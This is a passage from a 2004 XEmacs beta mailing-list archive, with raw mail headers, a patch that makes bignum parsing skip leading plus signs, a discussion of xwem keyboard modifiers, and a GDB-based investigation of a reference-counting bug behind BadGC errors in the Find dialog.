press hyper and cotrol than hyper and meta at the same time. For example in my local xwem installation i have `xwem-meta-modifier' set to 'control. But since i guess nobody will change hyper modifier, vector form is ok. I also suppose that xlib-math was loaded by side effect, when loading xwem-keyboard.el or something xwem related. Will fix, thanks for description! -- lg From xemacs-beta-admin@xemacs.org Tue Apr 13 11:39:28 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DFdMs11567; Tue, 13 Apr 2004 11:39:22 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DFc9510244 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 11:38:09 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DFc6i10174 for turnbull@tux.org; Tue, 13 Apr 2004 11:38:06 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DFc6s10160; Tue, 13 Apr 2004 11:38:06 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3DFbjDu016231; Tue, 13 Apr 2004 10:37:45 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3DFbjHS000504; Tue, 13 Apr 2004 10:37:45 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3DFbi77000502; Tue, 13 Apr 2004 10:37:44 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: giacomo.boffi@polimi.it Cc: XEmacs Beta , XEmacs Patches Subject: [AC21.5] Handle leading + signs on bignums, etc. References: <16507.53344.754521.398763@gargle.gargle.HOWL> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI X-Generated-By: Patcher version 3.5.2 Date: Tue, 13 Apr 2004 10:37:44 -0500 In-Reply-To: <16507.53344.754521.398763@gargle.gargle.HOWL> (giacomo boffi's message of "Tue, 13 Apr 2004 13:34:56 +0200") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-VirusScan: Clean X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Hi Giacomo, Thanks for the bug report! giacomo boffi wrote: > i built xemacs from cvs, and i enabled the new bignums support > > M-x gnus RET > > failed, please see the attached backtrace > > i tried building a new copy of xemacs, from the same sources, except > disabling bignum support, and gnus worked as fine as usual > > i'm sending this bug report from the xemacs with bignums enabled It looks like the GMP function mpz_set_str chokes when the first character is +. In fact, mpq_set_str chokes also. Well, we can safely skip such plus signs, so let's just do it in case other libraries have this defect as well. src/ChangeLog addition: 2004-04-13 Jerry James * data.c (Fstring_to_number): Skip leading + sign to avoid triggering random GMP behavior. * lread.c (read_atom): Ditto. * lread.c (isratio_string): Recognize ratio with leading + sign. * number.c (string_to_bignum): Skip leading + sign. xemacs-21.5 source patch: Diff command: cvs -q diff -uN Files affected: src/number.c src/lread.c src/data.c Index: src/data.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/data.c,v retrieving revision 1.54 diff -d -u -u -r1.54 data.c --- src/data.c 2004/04/08 15:23:09 1.54 +++ src/data.c 2004/04/13 15:16:41 @@ -1271,6 +1271,9 @@ #ifdef HAVE_BIGFLOAT else { + /* GMP bigfloat_set_string returns random values with initial + */ + if (*p == '+') + p++; bigfloat_set_prec (scratch_bigfloat, bigfloat_get_default_prec ()); bigfloat_set_string (scratch_bigfloat, (const char *) p, b); return make_bigfloat_bf (scratch_bigfloat); @@ -1281,12 +1284,19 @@ #ifdef HAVE_RATIO if (qxestrchr (p, '/') != NULL) { + /* GMP ratio_set_string returns random values with initial + sign */ + if (*p == '+') + p++; ratio_set_string (scratch_ratio, (const char *) p, b); return make_ratio_rt (scratch_ratio); } #endif /* HAVE_RATIO */ #ifdef HAVE_BIGNUM + /* GMP bignum_set_string returns random values when the string starts with a + plus sign */ + if (*p == '+') + p++; /* GMP bignum_set_string returns random values when fed an empty string */ if (*p == '\0') return make_int (0); Index: src/lread.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/lread.c,v retrieving revision 1.67 diff -d -u -u -r1.67 lread.c --- src/lread.c 2004/04/07 03:49:00 1.67 +++ src/lread.c 2004/04/13 15:16:43 @@ -1851,6 +1851,9 @@ #ifdef HAVE_RATIO if (isratio_string (read_ptr)) { + /* GMP ratio_set_string returns random values with initial + sign */ + if (*read_ptr == '+') + read_ptr++; ratio_set_string (scratch_ratio, read_ptr, 0); ratio_canonicalize (scratch_ratio); return Fcanonicalize_number (make_ratio_rt (scratch_ratio)); @@ -2673,8 +2676,8 @@ int isratio_string (const char *cp) { - /* Possible minus sign */ - if (*cp == '-') + /* Possible minus/plus sign */ + if (*cp == '-' || *cp == '+') cp++; /* Numerator */ Index: src/number.c =================================================================== RCS file: /pack/xemacscvs/XEmacs/xemacs/src/number.c,v retrieving revision 1.4 diff -d -u -u -r1.4 number.c --- src/number.c 2004/04/08 15:23:09 1.4 +++ src/number.c 2004/04/13 15:16:43 @@ -82,9 +82,15 @@ bignum_hash, bignum_description, Lisp_Bignum); Lisp_Object -string_to_bignum(const Ibyte *str, Bytecount len, int base) +string_to_bignum (const Ibyte *str, Bytecount len, int base) { Lisp_Object b = make_bignum (0L); + /* GMP bignum_set_string returns random values with initial + sign */ + if (*str == '+') + str++; + /* GMP bignum_set_string returns random values when fed an empty string */ + if (*str == '\0') + return make_int (0); return (bignum_set_string (XBIGNUM_DATA (b), (const char *) str, base) < 0) ? Fsignal (Qinvalid_read_syntax, list3 (build_msg_string -- Jerry James http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 13 12:07:03 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DG71s08957; Tue, 13 Apr 2004 12:07:01 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DG6Tn08595 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 12:06:29 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DG6Sw08580 for turnbull@tux.org; Tue, 13 Apr 2004 12:06:28 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DG6Ss08564 for ; Tue, 13 Apr 2004 12:06:28 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDQQU-00041b-00; Wed, 14 Apr 2004 01:06:18 +0900 To: giacomo.boffi@polimi.it Cc: XEmacs Beta Subject: Re: [Bug: 21.5-b17] gnus + bignums(?) References: <16507.53344.754521.398763@gargle.gargle.HOWL> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 01:06:18 +0900 In-Reply-To: <16507.53344.754521.398763@gargle.gargle.HOWL> (giacomo boffi's message of "Tue, 13 Apr 2004 13:34:56 +0200") Message-ID: <874qrn7thh.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "giacomo" == giacomo boffi writes: giacomo> failed, please see the attached backtrace I'm having trouble uudecoding it. -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 13 12:09:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DG92s11108; Tue, 13 Apr 2004 12:09:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DG8rY10928 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 12:08:54 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DG8pQ10876 for turnbull@tux.org; Tue, 13 Apr 2004 12:08:51 -0400 Received: from tleepslib.sk.tsukuba.ac.jp (tleepslib.sk.tsukuba.ac.jp [130.158.98.109]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DG8ps10855 for ; Tue, 13 Apr 2004 12:08:51 -0400 Received: from steve by tleepslib.sk.tsukuba.ac.jp with local (Exim 3.36 #1 (Debian)) id 1BDQSo-00043Z-00; Wed, 14 Apr 2004 01:08:42 +0900 To: Zajcev Evgeny Cc: XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> <827jwknva3.fsf@us.dmz.local> <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> <823c78njmq.fsf@us.dmz.local> Organization: The XEmacs Project From: "Stephen J. Turnbull" Date: Wed, 14 Apr 2004 01:08:42 +0900 In-Reply-To: <823c78njmq.fsf@us.dmz.local> (Zajcev Evgeny's message of "Tue, 13 Apr 2004 16:32:29 +0400") Message-ID: <87zn9f6et1.fsf@tleepslib.sk.tsukuba.ac.jp> User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.4 (Portable Code, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , >>>>> "Zajcev" == Zajcev Evgeny writes: Zajcev> Normally yes, xwem-kbd can be ommited if user will not Zajcev> change `xwem-hyper-modifier' variable, which default value Zajcev> is 'hyper. xwem-kbd is used to substitue modifiers, This only works inside Emacs, right? Why not just do it right, with XKeyCaps? -- Institute of Policy and Planning Sciences http://turnbull.sk.tsukuba.ac.jp University of Tsukuba Tennodai 1-1-1 Tsukuba 305-8573 JAPAN Ask not how you can "do" free software business; ask what your business can "do for" free software. From xemacs-beta-admin@xemacs.org Tue Apr 13 12:59:23 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DGx6s19445; Tue, 13 Apr 2004 12:59:06 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DGwcw19138 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 12:58:38 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DGwbX19118 for turnbull@tux.org; Tue, 13 Apr 2004 12:58:37 -0400 Received: from relay.mortal.ru ([62.5.206.77]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DGwas19107; Tue, 13 Apr 2004 12:58:36 -0400 Received: from us.dmz.local (wus000.dmz.local [10.32.1.6]) by relay.mortal.ru (8.11.6/8.11.6) with ESMTP id i3DGwZv17700; Tue, 13 Apr 2004 20:58:35 +0400 Received: from us.dmz.local (localhost.dmz.local [127.0.0.1]) by us.dmz.local (8.12.3/8.12.3) with ESMTP id i3DH3ZGg022335; Tue, 13 Apr 2004 21:03:35 +0400 (MSD) (envelope-from zevlg@yandex.ru) Received: (from wtc05@localhost) by us.dmz.local (8.12.3/8.12.3/Submit) id i3DH3ZC3022334; Tue, 13 Apr 2004 21:03:35 +0400 (MSD) X-Authentication-Warning: us.dmz.local: wtc05 set sender to zevlg@yandex.ru using -f To: "Stephen J. Turnbull" Cc: Zajcev Evgeny , XEmacs beta Subject: Re: Stdout chatter with test packages References: <87zn9g778p.fsf@tleepslib.sk.tsukuba.ac.jp> <827jwknva3.fsf@us.dmz.local> <878yh06r19.fsf@tleepslib.sk.tsukuba.ac.jp> <823c78njmq.fsf@us.dmz.local> <87zn9f6et1.fsf@tleepslib.sk.tsukuba.ac.jp> From: Zajcev Evgeny X-Face: "5}C(Ve&0,cfnPM*.j!SMQTCsm^+Wk+i~W\_k9qVJdd*uc#}o)(YzI"M*@M9{xWh4WV-o7hq0CBmtE%(4J(Qw1y@JpI,Eb3".Y/qD|O/]'nD Date: Tue, 13 Apr 2004 21:03:34 +0400 In-Reply-To: <87zn9f6et1.fsf@tleepslib.sk.tsukuba.ac.jp> (Stephen J. Turnbull's message of "Wed, 14 Apr 2004 01:08:42 +0900") Message-ID: <82smf7g68p.fsf@us.dmz.local> User-Agent: Gnus/5.1002 (Gnus v5.10.2) XEmacs/21.5 (celery, berkeley-unix) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=none autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , "Stephen J. Turnbull" writes: >>>>>> "Zajcev" == Zajcev Evgeny writes: > > Zajcev> Normally yes, xwem-kbd can be ommited if user will not > Zajcev> change `xwem-hyper-modifier' variable, which default value > Zajcev> is 'hyper. xwem-kbd is used to substitue modifiers, > > This only works inside Emacs, right? Why not just do it right, with > XKeyCaps? Yes, this is only for Emacs as planned. I want my meta key behave like control only when doing xwem things, but not for every X application. Actually firstly i planned to write keys substitution package, which will work next way. You register keys substitute table in it, like this. (([control ?l] . [meta ?l]) ([contol meta ?p] . [(control ?x) ?m]) ..) i.e each element is cons which car is pressed keys sequence and cdr is result keys sequence(will be produced as you have typed them). Every car key sequence grabbed on keyboard and when you press it, keys in cdr processed as you typed them. In our example pressing C-M-p will actually produce C-x m. But i have not finished it and made only modifiers substitution. This is not really critical for xwem, just another feature, which never will be used :) -- lg From xemacs-beta-admin@xemacs.org Tue Apr 13 15:53:07 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DJr1s27040; Tue, 13 Apr 2004 15:53:02 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DJqHF26599 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 15:52:17 -0400 Received: (from mail@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DJqEm26555 for turnbull@tux.org; Tue, 13 Apr 2004 15:52:14 -0400 Received: from stephens.ittc.ku.edu (stephens.ittc.ku.edu [129.237.125.220]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DJqBs26535 for ; Tue, 13 Apr 2004 15:52:11 -0400 Received: from diannao.ittc.ku.edu (diannao.ittc.ku.edu [129.237.126.112]) by stephens.ittc.ku.edu (8.12.10/8.12.10/ITTC-ANTISPAM-ANTIVIRUS-3.0) with ESMTP id i3DJpvDu005493; Tue, 13 Apr 2004 14:51:57 -0500 Received: from diannao.ittc.ku.edu by diannao.ittc.ku.edu (8.12.8/KU-4.0-client) id i3DJpvHS001215; Tue, 13 Apr 2004 14:51:57 -0500 Received: (from james@localhost) by diannao.ittc.ku.edu (8.12.8/8.12.8/Submit) id i3DJpoDN001213; Tue, 13 Apr 2004 14:51:50 -0500 X-Authentication-Warning: diannao.ittc.ku.edu: james set sender to james@eecs.ku.edu using -f To: Glynn Clements Cc: XEmacs Beta Subject: Re: BadGC with Find dialog References: <16443.49074.972872.94915@cerise.nosuchdomain.co.uk> <16444.9701.204025.877317@cerise.nosuchdomain.co.uk> <871xohs1f6.fsf@tleepslib.sk.tsukuba.ac.jp> <16475.62978.504008.158381@cerise.nosuchdomain.co.uk> <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> From: Jerry James X-Face: +5(Pfr,;N>q#6NT,Qi5^TQh-MaUnz#kGN~OW[CQj~RS+sIor( '_8K^f9u^Y#.N`>9oKN$\JpI Date: Tue, 13 Apr 2004 14:51:50 -0500 In-Reply-To: <16481.30402.516994.466013@cerise.nosuchdomain.co.uk> (Glynn Clements's message of "Wed, 24 Mar 2004 11:53:38 +0000") Message-ID: User-Agent: Gnus/5.1006 (Gnus v5.10.6) XEmacs/21.5 (chayote, linux) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 X-VirusScan: Clean Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by gwyn.tux.org id i3DJqBs26535 X-XEmacs-List: beta X-Spam-Checker-Version: SpamAssassin 2.63 (2004-01-11) on gwyn.tux.org X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.63 Sender: xemacs-beta-admin@xemacs.org Errors-To: xemacs-beta-admin@xemacs.org X-BeenThere: xemacs-beta@xemacs.org X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: XEmacs Beta Testers List-Unsubscribe: , Executive summary: The "Forward" button created by make-search-dialog (line 87 of lisp/dialog-items.el in current 21.5 CVS) feels like releasing its inverse_GC every time it is redisplayed. Once it has been redisplayed a sufficient number of times, the reference count on that GC reaches zero and chaos ensues. I am willing to bet doughnuts that the comment over x_button_redisplay in src/glyphs-x.c has something to do with it. However, I do not actually know the source of the problem at this time. Glynn Clements wrote: > In that situation, I can only suggest a brute-force approach. Set > breakpoints on XtAllocateGC and XtReleaseGC which automatically print > a backtrace then continue (for XtAllocateGC, the breakpoint should be > at the end of the function so that it can also print the XID). Match > the XID from the BadGC errors to the corresponding GC, then examine > its history. For each XtReleaseGC call, there should be a > corresponding XtAllocateGC call for the same Widget from the same > class. Let's hear it for brute force! I'll tell how I did this in case somebody needs to retrace my steps at some point in the future. a) Recompile the X libraries with actual debug symbols. b) Realize that I cannot set breakpoints in GCManager.c before the program starts executing, because GDB claims the file does not exist. c) Write two GDB input scripts to compensate for (b). The first one is xgc.gdb: ------------------------------------------------------------------------ set height 0 break xlwcheckbox.c:385 commands print ctr cont end break XtReleaseGC commands bt cont end tbreak XtAllocateGC ------------------------------------------------------------------------ and the second one is xgc2.gdb: ------------------------------------------------------------------------ break GCManager.c:221 commands printf "Increasing reference count of GC %p\n",retval bt cont end break GCManager.c:274 commands printf "Creating GC %p\n",retval bt cont end ------------------------------------------------------------------------ d) Start GDB, "source xgc.gdb", "run", "source xgc2.gdb", "cont", and watch tens of thousands of lines of output from GDB scroll by. e) Pop up the Find dialog, click "Find Next" until the BadGC complaints appear, then shut XEmacs down. f) Find the GC in the vicinity of the BadGC messages, and extract all of the backtraces containing that GC. g) Distill that list down to this description of what happened: ------------------------------------------------------------------------ 1) The GC is created due to a call to XtCreateManagedWidget from xaw_create_button (lwlib-Xaw.c:755), with name = "%_Match Case". Reference count = 1. 2) ALLOCATE: same call with name = "%_Regular Expression". Reference count = 2. 3) ALLOCATE: same call with name = "%_Forwards". Reference count = 3. 4) RELEASE: call to XtSetValues from xaw_update_one_widget (lwlib-Xaw.c:201) on the "%_Forwards" widget. Reference count = 2. 5) ALLOCATE: call to XtSetValues from xaw_update_one_widget (lwlib-Xaw.c:201) on the "%_Forwards" widget. Reference count = 3. 6) ALLOCATE: call to XtCreateManagedWidget from xaw_create_button (lwlib-Xaw.c:755), with name = "%_Backwards". Reference count = 4. Widget = 0x89a3378. 7) ALLOCATE: same call with name = "%_Find Next". Reference count = 5. Widget = 0x89aab20. 8) ALLOCATE: same call with name = "%_Cancel". Reference count = 6. Widget = 0x89ab0c8. 9) RELEASE: call to XtSetValues from xaw_update_one_widget (lwlib-Xaw.c:201) on the "%_Forwards" widget. Reference count = 5. 10) RELEASE: same call on the same widget. Reference count = 4. 11) Click on the "Find Next" button. 12) RELEASE: call to XtAppProcessEvent, ultimately leading to XawCommandToggle, and then XtSetValues, from emacs_Xt_drain_queue (event-Xt.c:2927) on the "%_Find Next" widget. Reference count = 3. 13) ALLOCATE: ditto. Reference count = 4. 14) RELEASE: ditto. Reference count = 3. 15) ALLOCATE: ditto. Reference count = 4. 16) RELEASE: call to XtSetValues from xaw_update_one_widget on the "%_Forwards" widget. Reference count = 3. 17) Click on the "Find Next" button. 18) RELEASE: Down in XawCommandToggle from XtAppProcessEvent again, on the "%_Find Next" widget. Reference count = 2. 19) ALLOCATE: ditto. Reference count = 3. 20) RELEASE: ditto. Reference count = 2. 21) ALLOCATE: ditto. Reference count = 3. 22) RELEASE: XtSetValues from xaw_update_one_widget on "%_Forwards". Reference count = 2. 23) Click on the "Find Next" button. 24) RELEASE: XawCommandToggle case, on "%_Find Next". Reference count = 1. 25) ALLOCATE: ditto. Reference count = 2. 26) RELEASE: ditto. Reference count = 1. 27) ALLOCATE: ditto. Reference count = 2. 28) RELEASE: XtSetValues from xaw_update_one_widget on "%_Forwards". Reference count = 1. 29) Click on the "Find Next" button. 30) RELEASE: XawCommandToggle case, on "%_Find Next". Reference count = 0. Poof! ------------------------------------------------------------------------ Clearly, the problem is that the "%_Forwards" widget keeps releasing the GC when it shouldn't. Every one of the backtraces for that case looks the same: Breakpoint 2, XtReleaseGC (widget=0x89a2fc8, gc=0x8972ea8) at GCManager.c:296 #0 XtReleaseGC (widget=0x89a2fc8, gc=0x8972ea8) at GCManager.c:296 #1 0x400b171c in XawLabelSetValues (current=0xbfffcf60, request=0xbfffcc40, cnew=0x89a2fc8, args=0x89a2f70, num_args=0xbfffc954) at Label.c:760 #2 0x401e19d2 in CallSetValues (class=0x400eec00, current=0xbfffcf60, request=0xbfffcc40, new=0x89a2fc8, args=0x89a2f70, num_args=6) at SetValues.c:122 #3 0x401e197b in CallSetValues (class=0x400ee220, current=0xbfffcf60, request=0xbfffcc40, new=0x89a2fc8, args=0x89a2f70, num_args=6) at SetValues.c:115 #4 0x401e197b in CallSetValues (class=0x8376eb0, current=0xbfffcf60, request=0xbfffcc40, new=0x89a2fc8, args=0x89a2f70, num_args=6) at SetValues.c:115 #5 0x401e197b in CallSetValues (class=0x83734c0, current=0xbfffcf60, request=0xbfffcc40, new=0x89a2fc8, args=0x89a2f70, num_args=6) at SetValues.c:115 #6 0x401e1ff6 in XtSetValues (w=0x89a2fc8, args=0x89a2f70, num_args=6) at SetValues.c:258 #7 0x0831ca29 in xaw_update_one_widget (instance=0xbfffcf60, widget=0x89a2fc8, val=0x895e4f0, deep_p=1 '\001') at /usr/src/xemacs/xemacs-21.5/lwlib/lwlib-Xaw.c:201 #8 0x0831b5f1 in set_one_value (instance=0x895e4f0, val=0xbfffd2c0, deep_p=1 '\001') at /usr/src/xemacs/xemacs-21.5/lwlib/lwlib.c:734 #9 0x0831b637 in update_one_widget_instance (instance=0x895e4f0, deep_p=-56 'È') at /usr/src/xemacs/xemacs-21.5/lwlib/lwlib.c:750 #10 0x0831b66c in update_all_widget_values (info=0x87948f8, deep_p=96 '`') at /usr/src/xemacs/xemacs-21.5/lwlib/lwlib.c:760 #11 0x0831b7cf in lw_modify_all_widgets (id=3221213024, val=0x8754f20, deep_p=1 '\001') at /usr/src/xemacs/xemacs-21.5/lwlib/lwlib.c:815 #12 0x082f0704 in x_button_redisplay (image_instance={...}) at /usr/src/xemacs/xemacs-21.5/src/glyphs-x.c:2572 #13 0x081a2f2c in redisplay_widget (widget={...}) at /usr/src/xemacs/xemacs-21.5/src/glyphs-widget.c:486 #14 0x0819a54b in redisplay_subwindow (subwindow={...}) at /usr/src/xemacs/xemacs-21.5/src/glyphs.c:4650 #15 0x08257699 in redisplay_output_subwindow (w=0x87aec08, image_instance={...}, db=0xbfffd600, dga=0xbfffd5f0, findex=-1073754272, cursor_start=0, cursor_width=0, cursor_height=0) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:1327 #16 0x08258186 in redisplay_output_layout (domain={...}, image_instance={...}, db=0xbfffd7b0, dga=0xbfffd7a0, findex=2, cursor_start=0, cursor_width=0, cursor_height=0) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:1597 #17 0x08258135 in redisplay_output_layout (domain={...}, image_instance={...}, db=0xbfffd870, dga=0xbfffd860, findex=2, cursor_start=0, cursor_width=0, cursor_height=0) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:1590 #18 0x082f759b in x_output_display_block (w=0x87aec08, dl=0x898d0d8, block=144322504, start=144369552, end=1, start_pixpos=8, cursor_start=0, cursor_width=0, cursor_height=0) at /usr/src/xemacs/xemacs-21.5/src/redisplay-x.c:468 #19 0x082573bf in redisplay_output_display_block (w=0x87aec08, dl=0xbfffcf60, block=-1073754272, start=-1073754272, end=-1073754272, start_pixpos=-1073754272, cursor_start=-1073754272, cursor_width=-1073754272, cursor_height=-1073754272) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:1240 #20 0x0825552c in compare_display_blocks (w=0x87aec08, cdl=0x898b808, ddl=0x898d0d8, c_block=-1073754272, d_block=0, start_pixpos=-1073754272, cursor_start=-1073754272, cursor_width=-1073754272, cursor_height=-1073754272) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:607 #21 0x08256175 in output_display_line (w=0x87aec08, cdla=0x898d0b8, ddla=0x898cd88, line=0, force_start=-1, force_end=144367368) at /usr/src/xemacs/xemacs-21.5/src/redisplay-output.c:854 #22 0x081c4e62 in output_gutter (f=0x89521e0, pos=TOP_GUTTER, force=0) at /usr/src/xemacs/xemacs-21.5/src/gutter.c:450 #23 0x081c5c92 in update_frame_gutters (f=0x89521e0) at /usr/src/xemacs/xemacs-21.5/src/gutter.c:646 #24 0x08249718 in redisplay_frame (f=0x89521e0, preemption_check=1) at /usr/src/xemacs/xemacs-21.5/src/redisplay.c:7038 #25 0x08249903 in redisplay_device (d=0x8723fe8, automatic=1) at /usr/src/xemacs/xemacs-21.5/src/redisplay.c:7128 #26 0x08249cee in redisplay_without_hooks () at /usr/src/xemacs/xemacs-21.5/src/redisplay.c:7203 #27 0x08249fe7 in redisplay_no_pre_idle_hook () at /usr/src/xemacs/xemacs-21.5/src/redisplay.c:7274 #28 0x08249f8f in redisplay () at /usr/src/xemacs/xemacs-21.5/src/redisplay.c:7256 #29 0x08117f2c in Fnext_event (event={...}, prompt={...}) at /usr/src/xemacs/xemacs-21.5/src/event-stream.c:2365 #30 0x080beb02 in Fcommand_loop_1 () at /usr/src/xemacs/xemacs-21.5/src/cmdloop.c:572 #31 0x080be839 in command_loop_1 (dummy={...}) at /usr/src/xemacs/xemacs-21.5/src/cmdloop.c:489 #32 0x080fe221 in condition_case_1 (handlers={...}, bfun=0x80be7e8 , barg={...}, hfun=0x80be2bc , harg={...}) at /usr/src/xemacs/xemacs-21.5/src/eval.c:1917 #33 0x080be427 in command_loop_3 () at /usr/src/xemacs/xemacs-21.5/src/cmdloop.c:252 #34 0x080be452 in command_loop_2 (dummy={...}) at /usr/src/xemacs/xemacs-21.5/src/cmdloop.c:263 #35 0x080fdba0 in internal_catch (tag={...}, func=0x80be441 , arg={...}, threw=0x0, thrown_tag=0x0) at /usr/src/xemacs/xemacs-21.5/src/eval.c:1527 #36 0x080be5a2 in initial_command_loop (load_me={...}) at /usr/src/xemacs/xemacs-21.5/src/cmdloop.c:301 #37 0x080f7123 in xemacs_21_5_b17_i686_pc_linux (argc=1, argv=0xbfffe0c4, envp=0xbfffe0cc, restart=0) at /usr/src/xemacs/xemacs-21.5/src/emacs.c:2385 #38 0x080f7cf4 in main (argc=-1073754272, argv=0xbfffcf60, envp=0xbfffcf60) at /usr/src/xemacs/xemacs-21.5/src/emacs.c:2877 #39 0x42015704 in __libc_start_main () from /lib/tls/libc.so.6 So ... what now? -- Jerry "Brute Force" James, currently listening to Supertramp's "Breakfast in America" http://www.ittc.ku.edu/~james/ From xemacs-beta-admin@xemacs.org Tue Apr 13 16:08:10 2004 Received: from gwyn.tux.org (localhost.localdomain [127.0.0.1]) by gwyn.tux.org (8.11.6p2/8.9.1) with ESMTP id i3DK89s05468; Tue, 13 Apr 2004 16:08:09 -0400 Received: (from turnbull@localhost) by gwyn.tux.org (8.11.6p2/8.9.1) id i3DK7C804797 for xemacs-beta-mailman@xemacs.org; Tue, 13 Apr 2004 16:07:12 -0400 Received: (from mail@localhost) by 